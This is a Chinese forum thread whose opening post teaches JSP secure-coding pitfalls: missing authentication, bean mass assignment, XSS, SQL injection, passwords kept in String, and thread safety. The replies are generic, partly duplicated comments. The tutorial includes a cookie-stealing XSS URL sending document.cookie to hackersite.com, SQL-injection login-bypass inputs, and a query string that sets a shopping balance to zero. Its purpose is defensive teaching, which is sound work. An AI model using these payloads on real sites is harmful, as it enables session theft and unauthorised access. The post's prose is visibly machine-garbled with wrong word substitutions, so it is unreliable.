仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1522|回复: 20
打印 上一主题 下一主题

[学习教程] JAVA网页设计JSP平安编程实例浅析

[复制链接]
愤怒的大鸟 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-18 11:32:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
你通过从书的数量和开发周期及运行速度来证明:net和ruby要比java简单。js|平安|编程JavaServerPage(JSP)作为创建静态网页的手艺正在不休升温。JSP和ASP、PHP、事情机制不太一样。一样平常说来,JSP页面在实行时是编译式,而不是注释式的。初次挪用JSP文件实际上是实行一个编译为Servlet的历程。当扫瞄器向服务器哀求这一个JSP文件的时分,服务器将反省自前次编译后JSP文件是不是有改动,假如没有改动,就间接实行Servlet,而不必再从头编译,如许,效力便失掉了分明进步。

  明天我将和人人一同从剧本编程的角度看JSP的平安,那些诸如源码表露类的平安隐患就不在这篇文章会商局限以内了。写这篇文章的次要目标是给初学JSP编程的伴侣们提个醒,从一入手下手就要培育平安编程的认识,不要犯不应犯的毛病,制止能够制止的丧失。别的,我也是初学者,若有毛病或别的定见请发帖见教。

  1、认证不严――初级掉误

  在溢洋论坛v1.12修改版中,

  user_manager.jsp是用户办理的页面,作者晓得它的敏理性,加上了一把锁:

if((session.getValue("UserName")==null)││(session.getValue("UserClass")==null)││(!session.getValue("UserClass").equals("体系办理员")))
{
 response.sendRedirect("err.jsp?id=14");
 return;
}

  假如要检察、修正某用户的信息,就要用modifyuser_manager.jsp这个文件。办理员提交
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
就是检察、修正ID为51的用户的材料(办理员默许的用户ID为51)。可是,云云主要的文件竟缺少认证,一般用户(包含旅客)也间接提交上述哀求也能够对其一清二楚(暗码也是明文存储、显现的)。modifyuser_manage.jsp一样是流派年夜开,直到歹意用户把数据更新的操纵实行终了,重定向到user_manager.jsp的时分,他才会瞥见谁人捷足先登的显现毛病的页面。明显,只锁一扇门是远远不敷的,编程的时分必定要诲人不倦地为每个该加身份认证的中央加下身份认证。

  2、守好JavaBean的出口

  JSP组件手艺的中心是被称为bean的java组件。在程序中可把逻辑把持、数据库操纵放在javabeans组件中,然后在JSP文件中挪用它,如许可增添程序的明晰度及程序的可重用性。和传统的ASP或PHP页面比拟,JSP页面长短常简便的,由于很多静态页面处置历程能够封装到JavaBean中。

  要改动JavaBean属性,要用到“<jsp:setProperty>”标志。

  上面的代码是设想的某电子购物体系的源码的一部分,这个文件是用来显现用户的购物框中的信息的,而checkout.jsp是用来结帐的。

<jsp:useBeanid="myBasket"class="BasketBean">
<jsp:setPropertyname="myBasket"property="*"/>
<jsp:useBean>
<html>
<head><title>YourBasket</title></head>
<body>
<p>
Youhaveaddedtheitem
<jsp::getPropertyname="myBasket"property="newItem"/>
toyourbasket.
<br/>
Yourtotalis$
<jsp::getPropertyname="myBasket"property="balance"/>
Proceedto<ahref="checkout.jsp">checkout</a>

  注重到property="*"了吗?这标明用户在可见的JSP页面中输出的,或是间接经由过程QueryString提交的全体变量的值,将存储到婚配的bean属性中。

  一样平常,用户是如许提交哀求的:

http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342

  可是不守礼貌的用户呢?他们大概会提交:

http://www.somesite.com/addToBasket.jsp?newItem=ITEM0105342&balance=0

  如许,balance=0的信息就被在存储到了JavaBean中了。当他们这时候点击“chekout”结账的时分,用度就全免了。

  这与PHP中全局变量招致的平安成绩一模一样。因而可知:“property="*"”必定要慎用!

  3、长盛不衰的跨站剧本

  跨站剧本(CrossSiteScripting)打击是指在远程WEB页面的HTML代码中手拔出歹意的JavaScript,VBScript,ActiveX,HTML,或Flash等剧本,夺取扫瞄此页面的用户的隐私,改动用户的设置,损坏用户的数据。跨站剧本打击在多半情形下不会对服务器和WEB程序的运转形成影响,但对客户真个平安组成严峻的威逼。

  以仿动网的阿菜论坛(beta-1)举个最复杂的例子。当我们提交

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>alert(document.cookie)</script>

  便能弹出包括本人cookie信息的对话框。而提交

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location=http://www.ckuyun.com</script>

  就可以重定向到网易。

  因为在前往“name”变量的值给客户端时,剧本没有举行任何编码或过滤歹意代码,当用户会见嵌进歹意“name”变量数据链接时,会招致剧本代码在用户扫瞄器上实行,大概招致用户隐私保守等成果。好比上面的链接:

http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser<;script>document.location=http://www.hackersite.com/xxx.xxx?+document.cookie</script>

  xxx.xxx用于搜集后边跟的参数,而这里参数指定的是document.cookie,也就是会见此链接的用户的cookie。在ASP天下中,良多人已把偷cookie的手艺练得出神入化了。在JSP里,读取cookie也不是难事。固然,跨站剧本历来就不会范围于偷cookie这一项功效,信任人人都有必定懂得,这里就不睁开了。

  对一切静态页面的输出和输入都应举行编码,能够在很年夜水平上制止跨站剧本的打击。遗憾的是,对一切不成信数据编码是资本麋集型的事情,会对Web服务器发生功能方面的影响。经常使用的手腕仍是举行输出数据的过滤,好比上面的代码就把伤害的字符举行交换:

<%Stringmessage=request.getParameter("message");
message=message.replace(<,_);
message=message.replace(>,_);
message=message.replace(",_);
message=message.replace(,_);
message=message.replace(%,_);
message=message.replace(;,_);
message=message.replace((,_);
message=message.replace(),_);
message=message.replace(&,_);
message=message.replace(+,_);%>

  更主动的体例是使用正则表达式只同意输出指定的字符:

publicbooleanisValidInput(Stringstr)
{
 if(str.matches("[a-z0-9]+"))returntrue;
 elsereturnfalse;
}

  4、时候切记SQL注进

  一样平常的编程书本在教初学者的时分都不注重让他们从进门时就培育平安编程的习气。出名的《JSP编程头脑与理论》就是如许向初学者树模编写带数据库的登录体系的(数据库为MySQL):

Statementstmt=conn.createStatement();
StringcheckUser="select*fromloginwhereusername="+userName+"anduserpassword="+userPassword+"";
ResultSetrs=stmt.executeQuery(checkUser);
if(rs.next())
 response.sendRedirect("SuccessLogin.jsp");
else
 response.sendRedirect("FailureLogin.jsp");

  如许使得尽信书的人临时利用如许后天“带洞”的登录代码。假如数据库里存在一个名叫“jack”的用户,那末在不晓得暗码的情形下最少有上面几种办法能够登录:

用户名:jack
暗码:ora=a
用户名:jack
暗码:or1=1/*
用户名:jackor1=1/*
暗码:(恣意)
lybbs(凌云论坛)ver2.9.Server在LogInOut.java中是如许对登录提交的数据举行反省的:
if(s.equals("")││s1.equals(""))
thrownewUserException("用户名或暗码不克不及空。");
if(s.indexOf("")!=-1││s.indexOf(""")!=-1││s.indexOf(",")!=-1││s.indexOf("")!=-1)
thrownewUserException("用户名不克不及包含",等不法字符。");
if(s1.indexOf("")!=-1││s1.indexOf(""")!=-1││s1.indexOf("*")!=-1││s1.indexOf("")!=-1)
thrownewUserException("暗码不克不及包含"*等不法字符。");
if(s.startsWith(" ")││s1.startsWith(" "))
thrownewUserException("用户名或暗码中不克不及用空格。");

  可是我不分明为何他只对暗码而不合错误用户名过滤星号。别的,正斜杠仿佛也应当被列到“黑名单”中。我仍是以为用正则表达式只同意输出指定局限内的字符来得爽性。

  这里要提示一句:不要觉得能够依附某些数据库体系生成的“平安性”就能够无效地抵抗一切的打击。pinkeyes的那篇《PHP注进实例》就给那些依附PHP的设置文件中的“magic_quotes_gpc=On”的人上了一课。

  5、String对象带来的隐患

  Java平台切实其实使平安编程加倍便利了。Java中无指针,这意味着Java程序不再像C那样能对地点空间中的恣意内存地位寻址了。在JSP文件被编译成.class文件时会被反省平安性成绩,比方当会见超越数组巨细的数组元素的实验将被回绝,这在很年夜水平上制止了缓冲区溢出打击。可是,String对象却会给我们带来一些平安上的隐患。假如暗码是存储在JavaString对象中的,则直到对它举行渣滓搜集或历程停止之前,暗码会一向驻留在内存中。即便举行了渣滓搜集,它仍会存在于余暇内存堆中,直到重用该内存空间为止。暗码String在内存中驻留得越久,遭到窃听的伤害性就越年夜。更糟的是,假如实践内存削减,则操纵体系会将这个暗码String换页调剂到磁盘的互换空间,因而简单蒙受磁盘块窃听打击。为了将这类保密的大概性降至最低(但不是打消),您应当将暗码存储在char数组中,并在利用后对其置零(String是不成变的,没法对其置零)。

  6、线程平安初探

  “JAVA能做的,JSP就可以做”。与ASP、PHP等剧本言语纷歧样,JSP默许是以多线程体例实行的。以多线程体例实行可年夜年夜下降对体系的资本需求,进步体系的并发量及呼应工夫。线程在程序中是自力的、并发的实行路径,每一个线程有它本人的仓库、本人的程序计数器和本人的部分变量。固然多线程使用程序中的年夜多半操纵都能够并行举行,但也有某些操纵(如更新全局标记或处置共享文件)不克不及并行举行。假如没做好线程的同步,在年夜并发量会见时,不必要歹意用户的“热情介入”,成绩也会呈现。最复杂的办理计划就是在相干的JSP文件中加上:<%@pageisThreadSafe="false"%>指令,使它以单线程体例实行,这时候,一切客户真个哀求以串行体例实行。如许会严峻下降体系的功能。我们能够仍让JSP文件以多线程体例实行,经由过程对函数上锁来对线程举行同步。一个函数加上synchronized关头字就取得了一个锁。看上面的示例:

publicclassMyClass{
inta;
publicInit(){//此办法能够多个线程同时挪用
 a=0;
}
publicsynchronizedvoidSet(){//两个线程不克不及同时挪用此办法
 if(a>5){
  a=a-5;
 }
}
}

  可是如许仍旧会对体系的功能有必定影响。一个更好的计划是接纳部分变量取代实例变量。由于实例变量是在堆平分配的,被属于该实例的一切线程共享,不是线程平安的,而部分变量在仓库平分配,由于每一个线程都有它本人的仓库空间,以是如许线程就是平安的了。好比凌云论坛中增加密友的代码:

publicvoidaddFriend(inti,Strings,Strings1)
throwsDBConnectException
{
 try
 {
  if……
  else
  {
   DBConnectdbconnect=newDBConnect("insertintofriend(authorid,friendname)values(?,?)");
   dbconnect.setInt(1,i);
   dbconnect.setString(2,s);
   dbconnect.executeUpdate();
   dbconnect.close();
   dbconnect=null;
  }
 }
 catch(Exceptionexception)
 {
  thrownewDBConnectException(exception.getMessage());
 }
}

  上面是挪用:

friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")){
 forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
 errorInfo=forumFriend.getErrorInfo();
}

  假如接纳的是实例变量,那末该实例变量属于该实例的一切线程共享,就有大概呈现用户A传送了某个参数后他的线程转为就寝形态,而参数被用户B偶然间修正,形成密友错配的征象。

前些天,在CSDN上看到了一个消息,说是ASP.NETAJAX成功在Linux上运行,这一点对我触动很大,而且引发了我许多感叹,所以想写出来分享一下。
谁可相欹 该用户已被删除
沙发
发表于 2015-1-21 09:38:10 | 只看该作者
另外编写和运行Java程序需要JDK(包括JRE),在sun的官方网站上有下载,thinking in java第三版用的JDK版本是1.4,现在流行的版本1.5(sun称作J2SE 5.0,汗),不过听说Bruce的TIJ第四版国外已经出来了,是专门为J2SE 5.0而写的。
冷月葬花魂 该用户已被删除
板凳
发表于 2015-1-25 10:16:41 | 只看该作者
另外编写和运行Java程序需要JDK(包括JRE),在sun的官方网站上有下载,thinking in java第三版用的JDK版本是1.4,现在流行的版本1.5(sun称作J2SE 5.0,汗),不过听说Bruce的TIJ第四版国外已经出来了,是专门为J2SE 5.0而写的。
莫相离 该用户已被删除
地板
发表于 2015-1-28 05:44:11 | 只看该作者
是一种简化的C++语言 是一种安全的语言,具有阻绝计算机病毒传输的功能
飘灵儿 该用户已被删除
5#
发表于 2015-1-31 20:18:39 | 只看该作者
[url]http://www.jdon.com/[/url]去下载,或到同济技术论坛的服务器[url]ftp://nro.shtdu.edu.cn[/url]去下,安装上有什么问题,可以到论坛上去提问。
愤怒的大鸟 该用户已被删除
6#
 楼主| 发表于 2015-2-2 11:25:01 | 只看该作者
是一种突破用户端机器环境和CPU
只想知道 该用户已被删除
7#
发表于 2015-2-6 15:43:44 | 只看该作者
如果要向java web方向发展也要吧看看《Java web从入门到精通》学完再到《Struts2.0入门到精通》这样你差不多就把代码给学完了。有兴趣可以看一些设计模块和框架的包等等。
精灵巫婆 该用户已被删除
8#
发表于 2015-2-6 17:22:54 | 只看该作者
[url]http://www.jdon.com/[/url]去下载,或到同济技术论坛的服务器[url]ftp://nro.shtdu.edu.cn[/url]去下,安装上有什么问题,可以到论坛上去提问。
再见西城 该用户已被删除
9#
发表于 2015-2-10 03:13:05 | 只看该作者
是一种语言,用以产生「小应用程序(Applet(s))
金色的骷髅 该用户已被删除
10#
发表于 2015-2-10 10:28:13 | 只看该作者
一直感觉JAVA很大,很杂,找不到学习方向,前两天在网上找到了这篇文章,感觉不错,给没有方向的我指了一个方向,先不管对不对,做下来再说。
蒙在股里 该用户已被删除
11#
发表于 2015-2-13 09:03:16 | 只看该作者
如果你学过HTML,那么事情要好办的多,如果没有,那你快去补一补HTML基础吧。其实JSP中的Java语法也不多,它更象一个脚本语言,有点象ASP。
柔情似水 该用户已被删除
12#
发表于 2015-3-3 18:17:54 | 只看该作者
科学超级计算机、移动电话和互联网,同时拥有全球最大的开发者专业社群。
第二个灵魂 该用户已被删除
13#
发表于 2015-3-8 21:00:33 | 只看该作者
是一种为 Internet发展的计算机语言
飘飘悠悠 该用户已被删除
14#
发表于 2015-3-11 22:48:47 | 只看该作者
你就该学一学Servlet了。Servlet就是服务器端小程序,他负责生成发送给客户端的HTML文件。JSP在执行时,也是先转换成Servlet再运行的。虽说JSP理论上可以完全取代Servlet,这也是SUN推出JSP的本意,可是Servlet用来控制流程跳转还是挺方便的,也令程序更清晰。接下来你应该学习一下Javabean了,可能你早就看不管JSP在HTML中嵌Java代码的混乱方式了,这种方式跟ASP又有什么区别呢?
乐观 该用户已被删除
15#
发表于 2015-3-19 15:21:53 | 只看该作者
不过,每次的执行编译后的字节码需要消耗一定的时间,这同时也在一定程度上降低了 Java 程序的运行效率。
兰色精灵 该用户已被删除
16#
发表于 2015-3-28 10:41:09 | 只看该作者
[url]http://www.jdon.com/[/url]去下载,或到同济技术论坛的服务器[url]ftp://nro.shtdu.edu.cn[/url]去下,安装上有什么问题,可以到论坛上去提问。
透明 该用户已被删除
17#
发表于 2015-4-1 11:57:10 | 只看该作者
[url]http://www.jdon.com/[/url]去下载,或到同济技术论坛的服务器[url]ftp://nro.shtdu.edu.cn[/url]去下,安装上有什么问题,可以到论坛上去提问。
因胸联盟 该用户已被删除
18#
发表于 2015-4-6 01:09:58 | 只看该作者
Pet Store.(宠物店)是SUN公司为了演示其J2EE编程规范而推出的开放源码的程序,应该很具有权威性,想学J2EE和EJB的朋友不要 错过了。
不帅 该用户已被删除
19#
发表于 2015-4-9 10:27:59 | 只看该作者
是一种将安全性(Security)列为第一优先考虑的语言
小女巫 该用户已被删除
20#
发表于 2015-4-14 10:41:17 | 只看该作者
至于JDBC,就不用我多说了,你如果用java编过存取数据库的程序,就应该很熟悉。还有,如果你要用Java编发送电子邮件的程序,你就得看看Javamail 了。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-12-22 20:58

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表